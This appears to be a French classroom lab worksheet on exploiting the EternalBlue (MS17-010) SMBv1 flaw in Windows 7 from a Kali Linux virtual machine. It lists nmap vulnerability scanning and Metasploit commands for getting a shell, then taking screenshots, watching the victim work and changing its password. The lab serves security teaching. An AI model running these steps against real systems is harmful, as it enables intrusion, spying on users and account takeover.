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Introduction
EternalBlue est à la fois le nom donné à une série de vulnérabilités logicielles de Microsoft et à l’exploit créé par la 
NSA en tant qu’outil de cyberattaque. Bien que l’exploit EternalBlue – officiellement nommé MS17-010 par Microsoft 
– n’affecte que les systèmes d’exploitation Windows, tout ce qui utilise le protocole de partage de fichiers SMBv1 
(Server Message Block version 1) risque techniquement d’être la cible de ransomwares et autres cyberattaques.

Déroulement du TP
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Machine Virtuelle Fournies :

- Machine victime W7 PRO
- Distribution Kali Linux

Switch

Ordinateur victime 
W7 PRO

Ordinateur ATTAQUANT 
Kali Linux



1- Adressage ip machine attaquant
2- Ping vers victime
3- Se connecter en tant que ROOT
4- Scan vulnérabilité Système Exploitation VICTIME (nmap –A –sV – script vuln @ip)

Console d’exploitation : msfconsole

search ms17-010  chercher les exploit pour la faille

2



use n°  utilisé le exploit associé au numéro 

set RHOST @ip victime mettre @ip victime 

show options  bonne @ip attaquant

run  lancer l’exploit
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shell  system d’exploit victime

5- User  admin  desktop  BTS  dir

6- Copie d’écran de la victime

7- Voir la victime travailler 

4



8- Modifier le mdp de W7
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